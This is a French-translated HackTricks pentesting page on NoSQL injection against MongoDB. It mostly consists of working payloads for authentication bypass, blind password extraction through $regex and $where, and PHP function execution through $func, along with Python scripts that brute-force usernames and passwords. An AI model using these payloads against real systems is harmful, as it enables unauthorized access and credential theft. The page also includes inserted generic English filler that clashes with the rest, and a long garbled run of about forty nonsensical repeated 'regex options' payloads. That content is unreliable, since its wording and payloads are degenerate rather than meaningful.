hacktricks/pentesting-web/nosql-injection.md

26 KiB

Injection NoSQL


Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Les bases de données NoSQL offrent des restrictions de cohérence moins strictes que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérifications de cohérence, les bases de données NoSQL offrent souvent des avantages en termes de performances et de mise à l'échelle. Cependant, ces bases de données sont toujours potentiellement vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL traditionnelle.

Exploitation

En PHP, vous pouvez envoyer un tableau en modifiant le paramètre envoyé de parameter=foo à parameter[arrName]=foo.

Les exploits sont basés sur l'ajout d'un opérateur :

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Contournement de l'authentification de base

Utilisation de la négation ($ne) ou de la supériorité ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo


NoSQL Injection


NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.

NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.

Types of NoSQL Injection


There are several types of NoSQL injection attacks that can be performed against a MongoDB database:

  1. Query Manipulation: In this type of attack, the attacker manipulates the query parameters to modify the behavior of the query. For example, the attacker may be able to bypass authentication by modifying the query to always return true.

  2. Command Injection: In command injection attacks, the attacker is able to inject additional commands into the query. This can allow the attacker to execute arbitrary commands on the database server.

  3. JavaScript Injection: MongoDB allows the use of JavaScript in queries. An attacker can inject malicious JavaScript code into a query, which can lead to unauthorized data access or code execution.

Preventing NoSQL Injection


To prevent NoSQL injection attacks, it is important to follow secure coding practices:

  1. Input Validation: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that input is of the expected type.

  2. Parameterized Queries: Use parameterized queries or prepared statements to ensure that user input is properly escaped and treated as data, rather than executable code.

  3. Least Privilege: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This can help limit the impact of a successful injection attack.

  4. Secure Configuration: Follow secure configuration practices for your NoSQL database, such as disabling unnecessary features and enabling authentication and access controls.

By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access and manipulation.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extraire les informations de longueur

L'injection NoSQL peut être utilisée pour extraire des informations sur la longueur des données stockées dans une base de données NoSQL. Cela peut être utile lors de la recherche de vulnérabilités ou de la collecte d'informations sur la structure de la base de données.

Pour extraire les informations de longueur, vous pouvez utiliser l'opérateur $regex avec une expression régulière qui correspond à la longueur souhaitée. Par exemple, pour extraire les informations sur la longueur d'une chaîne de caractères, vous pouvez utiliser l'expression régulière ^.{n}$, où n est la longueur souhaitée.

Voici un exemple de requête d'injection NoSQL pour extraire les informations de longueur d'une chaîne de caractères :

GET /api/users?username[$regex]=^.{n}$

Remplacez n par la longueur souhaitée. Si la réponse de la requête est différente de celle habituelle, cela indique que la longueur de la chaîne de caractères correspond à la valeur spécifiée.

Il est important de noter que l'injection NoSQL peut être complexe et nécessite une compréhension approfondie de la structure de la base de données cible. Il est recommandé de l'utiliser uniquement dans le cadre d'un test d'intrusion autorisé et avec le consentement du propriétaire du système.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extraire les informations data

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo


NoSQL Injection


NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.

NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.

Types of NoSQL Injection


There are several types of NoSQL injection attacks that can be performed against a MongoDB database:

  1. Boolean-based injection: This type of injection relies on the ability to manipulate the query in order to force a true or false condition. By exploiting this vulnerability, an attacker can retrieve sensitive information or perform unauthorized actions.

  2. Time-based injection: In a time-based injection attack, an attacker is able to delay the response from the database in order to extract information. By carefully crafting the query, an attacker can determine if a condition is true or false based on the response time.

  3. Union-based injection: Union-based injection involves injecting a query that combines the results of two or more queries into a single result set. This can be used to retrieve data from multiple collections or perform unauthorized actions.

Preventing NoSQL Injection


To prevent NoSQL injection attacks, it is important to follow secure coding practices:

  1. Input validation: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that the input matches the expected data type.

  2. Parameterized queries: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by ensuring that user input is treated as data and not as part of the query.

  3. Least privilege principle: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This helps limit the potential impact of an injection attack.

By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Exécution arbitraire de fonction PHP

En utilisant l'opérateur $func de la bibliothèque MongoLite (utilisée par défaut), il est possible d'exécuter une fonction arbitraire comme dans ce rapport.

"user":{"$func": "var_dump"}

Obtenir des informations à partir de différentes collections

Il est possible d'utiliser $lookup pour obtenir des informations à partir d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une collection différente appelée users et obtenons les résultats de toutes les entrées avec un mot de passe correspondant à un caractère générique.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Utilisez Trickest pour construire et automatiser les flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Blind NoSQL

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Charges MongoDB

Les injections NoSQL peuvent également être utilisées pour attaquer les bases de données MongoDB. Voici quelques exemples de charges utiles pour les injections NoSQL dans MongoDB :

1. Injection de comparaison

username[$ne]=admin&password[$ne]=wrong_password

2. Injection de regex

username[$regex]=^a&password[$ne]=wrong_password

3. Injection d'opérateur logique

username[$where]=this.password.match(/.*/)//+%00

4. Injection de type

username[$type]=1&password[$ne]=wrong_password

5. Injection de taille

username[$size]=1&password[$ne]=wrong_password

6. Injection de mod

username[$mod]=1&password[$ne]=wrong_password

7. Injection de texte

username[$text]=admin&password[$ne]=wrong_password

8. Injection de bits

username[$bitsAllSet]=1&password[$ne]=wrong_password

9. Injection de bits n'importe où

username[$bitsAnySet]=1&password[$ne]=wrong_password

10. Injection de bits non

username[$bitsAllClear]=1&password[$ne]=wrong_password

11. Injection de bits non n'importe où

username[$bitsAnyClear]=1&password[$ne]=wrong_password

12. Injection de slice

username[$slice]=1&password[$ne]=wrong_password

13. Injection de regex options

username[$regex]=^a&username[$options]=i&password[$ne]=wrong_password

14. Injection de regex options (sans regex)

username[$options]=i&password[$ne]=wrong_password

15. Injection de regex options (avec regex)

username[$regex]=^a&username[$options]=i&password[$ne]=wrong_password

16. Injection de regex options (avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

17. Injection de regex options (avec regex et options, sans regex)

username[$options]=i&password[$regex]=^b&password[$options]=i

18. Injection de regex options (avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

19. Injection de regex options (avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

20. Injection de regex options (avec regex et options, avec regex et options, sans regex)

username[$options]=i&password[$options]=i

21. Injection de regex options (avec regex et options, avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

22. Injection de regex options (avec regex et options, avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

23. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, sans regex)

username[$options]=i&password[$options]=i

24. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

25. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

26. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, sans regex)

username[$options]=i&password[$options]=i

27. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

28. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

29. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, sans regex)

username[$options]=i&password[$options]=i

30. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

31. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

32. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, sans regex)

username[$options]=i&password[$options]=i

33. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

34. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

35. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, sans regex)

username[$options]=i&password[$options]=i

36. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

37. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i

38. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, sans regex)

username[$options]=i&password[$options]=i

39. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex)

username[$regex]=^a&username[$options]=i&password[$options]=i

40. Injection de regex options (avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options, avec regex et options)

username[$regex]=^a&username[$options]=i&password[$regex]=^b&password[$options]=i
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Outils

Force brute des noms d'utilisateur et des mots de passe à partir de la connexion POST

Il s'agit d'un script simple que vous pouvez modifier, mais les outils précédents peuvent également effectuer cette tâche.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break

if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames


for u in get_usernames():
get_password(u)

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}